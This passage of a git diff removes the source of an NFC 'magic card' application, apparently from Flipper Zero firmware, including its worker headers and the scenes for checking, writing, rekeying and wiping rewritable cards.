card_found_notified = true; - } - - if(!magic_gen4_wipe(magic_dev->password)) break; - - card_wiped = true; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } - } while(false); - - if(card_wiped) break; - - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - } - magic_deactivate(); -} diff --git a/applications/external/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h deleted file mode 100644 index 51ff4ee43..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include -#include "nfc_magic.h" - -typedef struct NfcMagicWorker NfcMagicWorker; - -typedef enum { - NfcMagicWorkerStateReady, - - NfcMagicWorkerStateCheck, - NfcMagicWorkerStateWrite, - NfcMagicWorkerStateRekey, - NfcMagicWorkerStateWipe, - - NfcMagicWorkerStateStop, -} NfcMagicWorkerState; - -typedef enum { - NfcMagicWorkerEventSuccess, - NfcMagicWorkerEventFail, - NfcMagicWorkerEventCardDetected, - NfcMagicWorkerEventNoCardDetected, - NfcMagicWorkerEventWrongCard, -} NfcMagicWorkerEvent; - -typedef bool (*NfcMagicWorkerCallback)(NfcMagicWorkerEvent event, void* context); - -NfcMagicWorker* nfc_magic_worker_alloc(); - -void nfc_magic_worker_free(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_start( - NfcMagicWorker* nfc_magic_worker, - NfcMagicWorkerState state, - NfcMagicDevice* magic_dev, - NfcDeviceData* dev_data, - uint32_t new_password, - NfcMagicWorkerCallback callback, - void* context); diff --git a/applications/external/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h deleted file mode 100644 index a354f8047..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker_i.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -#include "nfc_magic_worker.h" -#include "lib/magic/common.h" - -struct NfcMagicWorker { - FuriThread* thread; - - NfcMagicDevice* magic_dev; - NfcDeviceData* dev_data; - uint32_t new_password; - - NfcMagicWorkerCallback callback; - void* context; - - NfcMagicWorkerState state; -}; - -int32_t nfc_magic_worker_task(void* context); - -void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene.c b/applications/external/nfc_magic/scenes/nfc_magic_scene.c deleted file mode 100644 index 520ef2a9d..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "nfc_magic_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_magic_on_enter_handlers[])(void*) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_magic_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_magic_on_exit_handlers[])(void* context) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_magic_scene_handlers = { - .on_enter_handlers = nfc_magic_on_enter_handlers, - .on_event_handlers = nfc_magic_on_event_handlers, - .on_exit_handlers = nfc_magic_on_exit_handlers, - .scene_num = NfcMagicSceneNum, -}; diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene.h b/applications/external/nfc_magic/scenes/nfc_magic_scene.h deleted file mode 100644 index f1e9f715d..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcMagicScene##id, -typedef enum { -#include "nfc_magic_scene_config.h" - NfcMagicSceneNum, -} NfcMagicScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_magic_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c deleted file mode 100644 index 675262a9b..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexWrite, - SubmenuIndexWipe, -}; - -void nfc_magic_scene_actions_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_actions_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, "Write", SubmenuIndexWrite, nfc_magic_scene_actions_submenu_callback, nfc_magic); - submenu_add_item( - submenu, "Wipe", SubmenuIndexWipe, nfc_magic_scene_actions_submenu_callback, nfc_magic); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_actions_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexWipe) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); - consumed = true; - } - scene_manager_set_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions, event.event); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - - return consumed; -} - -void nfc_magic_scene_actions_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c deleted file mode 100644 index 90b43d7d3..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c +++ /dev/null @@ -1,89 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneCheckStateCardSearch, - NfcMagicSceneCheckStateCardFound, -}; - -bool nfc_magic_check_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_check_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneCheck); - - if(state == NfcMagicSceneCheckStateCardSearch) { - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - popup_set_text( - nfc_magic->popup, "Apply card to\nthe back", 128, 32, AlignRight, AlignCenter); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_check_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - nfc_magic_scene_check_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateCheck, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_check_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_check_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneMagicInfo); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardFound); - nfc_magic_scene_check_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - nfc_magic_scene_check_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_check_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h deleted file mode 100644 index 2f9860d96..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h +++ /dev/null @@ -1,18 +0,0 @@ -ADD_SCENE(nfc_magic, start, Start) -ADD_SCENE(nfc_magic, key_input, KeyInput) -ADD_SCENE(nfc_magic, actions, Actions) -ADD_SCENE(nfc_magic, gen4_actions, Gen4Actions) -ADD_SCENE(nfc_magic, new_key_input, NewKeyInput) -ADD_SCENE(nfc_magic, file_select, FileSelect) -ADD_SCENE(nfc_magic, write_confirm, WriteConfirm) -ADD_SCENE(nfc_magic, wrong_card, WrongCard) -ADD_SCENE(nfc_magic, write, Write) -ADD_SCENE(nfc_magic, write_fail, WriteFail) -ADD_SCENE(nfc_magic, success, Success) -ADD_SCENE(nfc_magic, check, Check) -ADD_SCENE(nfc_magic, not_magic, NotMagic) -ADD_SCENE(nfc_magic, magic_info, MagicInfo) -ADD_SCENE(nfc_magic, rekey, Rekey) -ADD_SCENE(nfc_magic, rekey_fail, RekeyFail) -ADD_SCENE(nfc_magic, wipe, Wipe) -ADD_SCENE(nfc_magic, wipe_fail, WipeFail) diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c deleted file mode 100644 index 04b7024ff..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "../nfc_magic_i.h" - -static bool nfc_magic_scene_file_select_is_file_suitable(NfcMagic* nfc_magic) { - NfcDevice* nfc_dev = nfc_magic->source_dev; - if(nfc_dev->format == NfcDeviceSaveFormatMifareClassic) { - switch(nfc_magic->dev->type) { - case MagicTypeClassicGen1: - case MagicTypeClassicDirectWrite: - case MagicTypeClassicAPDU: - if((nfc_dev->dev_data.mf_classic_data.type != MfClassicType1k) || - (nfc_dev->dev_data.nfc_data.uid_len != nfc_magic->dev->uid_len)) { - return false; - } - return true; - - case MagicTypeGen4: - return true; - default: - return false; - } - } else if( - (nfc_dev->format == NfcDeviceSaveFormatMifareUl) && - (nfc_dev->dev_data.nfc_data.uid_len == 7)) { - switch(nfc_magic->dev->type) { - case MagicTypeUltralightGen1: - case MagicTypeUltralightDirectWrite: - case MagicTypeUltralightC_Gen1: - case MagicTypeUltralightC_DirectWrite: - case MagicTypeGen4: - switch(nfc_dev->dev_data.mf_ul_data.type) { - case MfUltralightTypeNTAGI2C1K: - case MfUltralightTypeNTAGI2C2K: - case MfUltralightTypeNTAGI2CPlus1K: - case MfUltralightTypeNTAGI2CPlus2K: - return false; - default: - return true; - } - default: - return false; - } - } - - return false; -} - -void nfc_magic_scene_file_select_on_enter(void* context) { - NfcMagic* nfc_magic = context; - // Process file_select return - nfc_device_set_loading_callback( - nfc_magic->source_dev, nfc_magic_show_loading_popup, nfc_magic); - - if(!furi_string_size(nfc_magic->source_dev->load_path)) { - furi_string_set_str(nfc_magic->source_dev->load_path, NFC_APP_FOLDER); - } - if(nfc_file_select(nfc_magic->source_dev)) { - if(nfc_magic_scene_file_select_is_file_suitable(nfc_magic)) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWriteConfirm); - } else { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWrongCard); - } - } else { - scene_manager_previous_scene(nfc_magic->scene_manager); - } -} - -bool nfc_magic_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void nfc_magic_scene_file_select_on_exit(void* context) { - NfcMagic* nfc_magic = context; - nfc_device_set_loading_callback(nfc_magic->source_dev, NULL, nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c deleted file mode 100644 index ceaa33e29..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexWrite, - SubmenuIndexChangePassword, - SubmenuIndexWipe, -}; - -void nfc_magic_scene_gen4_actions_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_gen4_actions_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, - "Write", - SubmenuIndexWrite, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Change password", - SubmenuIndexChangePassword, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Wipe", - SubmenuIndexWipe, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneGen4Actions)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_gen4_actions_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexChangePassword) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNewKeyInput); - consumed = true; - } else if(event.event == SubmenuIndexWipe) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); - consumed = true; - } - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneGen4Actions, event.event); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - - return consumed; -} - -void nfc_magic_scene_gen4_actions_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c deleted file mode 100644 index 58b487a09..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_key_input_byte_input_callback(void* context) { - NfcMagic* nfc_magic = context; - - view_dispatcher_send_custom_event( - nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); -} - -void nfc_magic_scene_key_input_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - // Setup view - ByteInput* byte_input = nfc_magic->byte_input; - byte_input_set_header_text(byte_input, "Enter the password in hex"); - byte_input_set_result_callback( - byte_input, - nfc_magic_scene_key_input_byte_input_callback, - NULL, - nfc_magic, - (uint8_t*)&nfc_magic->dev->password, - 4); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); -} - -bool nfc_magic_scene_key_input_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventByteInputDone) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_key_input_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(nfc_magic->byte_input, ""); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c deleted file mode 100644 index c147ac438..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../nfc_magic_i.h" -#include "../lib/magic/types.h" - -void nfc_magic_scene_magic_info_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_magic_info_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - const char* card_type = nfc_magic_type(nfc_magic->dev->type); - - notification_message(nfc_magic->notifications, &sequence_success); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "Magic card detected"); - widget_add_string_element(widget, 3, 17, AlignLeft, AlignTop, FontSecondary, card_type); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_magic_info_widget_callback, nfc_magic); - widget_add_button_element( - widget, GuiButtonTypeRight, "More", nfc_magic_scene_magic_info_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_magic_info_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - MagicType type = nfc_magic->dev->type; - if(type == MagicTypeGen4) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneGen4Actions); - consumed = true; - } else { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneActions); - consumed = true; - } - } - } - return consumed; -} - -void nfc_magic_scene_magic_info_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c deleted file mode 100644 index b5247f6c5..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_new_key_input_byte_input_callback(void* context) { - NfcMagic* nfc_magic = context; - - view_dispatcher_send_custom_event( - nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); -} - -void nfc_magic_scene_new_key_input_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - // Setup view - ByteInput* byte_input = nfc_magic->byte_input; - byte_input_set_header_text(byte_input, "Enter the password in hex"); - byte_input_set_result_callback( - byte_input, - nfc_magic_scene_new_key_input_byte_input_callback, - NULL, - nfc_magic, - (uint8_t*)&nfc_magic->new_password, - 4); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); -} - -bool nfc_magic_scene_new_key_input_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventByteInputDone) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekey); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_new_key_input_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(nfc_magic->byte_input, ""); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c deleted file mode 100644 index b4f579f44..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_not_magic_widget_callback(GuiButtonType result, InputType type, void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_not_magic_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_string_element( - widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "This is wrong card"); - widget_add_string_multiline_element( - widget, 4, 17, AlignLeft, AlignTop, FontSecondary, "Not magic or unsupported\ncard"); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_not_magic_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_not_magic_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_not_magic_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c deleted file mode 100644 index 259dc78ea..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneRekeyStateCardSearch, - NfcMagicSceneRekeyStateCardFound, -}; - -bool nfc_magic_rekey_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_rekey_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneRekey); - - if(state == NfcMagicSceneRekeyStateCardSearch) { - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Writing\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_rekey_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - nfc_magic_scene_rekey_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateRekey, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_rekey_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_rekey_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - nfc_magic->dev->password = nfc_magic->new_password; - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekeyFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardFound); - nfc_magic_scene_rekey_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - nfc_magic_scene_rekey_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_rekey_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c deleted file mode 100644 index d30ee57bc..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_rekey_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_rekey_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 72, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 7, 4, AlignLeft, AlignTop, FontPrimary, "Can't change password!"); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "Finish", nfc_magic_scene_rekey_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_rekey_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - return consumed; -} - -void nfc_magic_scene_rekey_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c deleted file mode 100644 index b5861629e..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexCheck, - SubmenuIndexAuthenticateGen4, -}; - -void nfc_magic_scene_start_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_start_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, - "Check Magic Tag", - SubmenuIndexCheck, - nfc_magic_scene_start_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Authenticate Gen4", - SubmenuIndexAuthenticateGen4, - nfc_magic_scene_start_submenu_callback, - nfc_magic); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneStart)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexCheck) { - 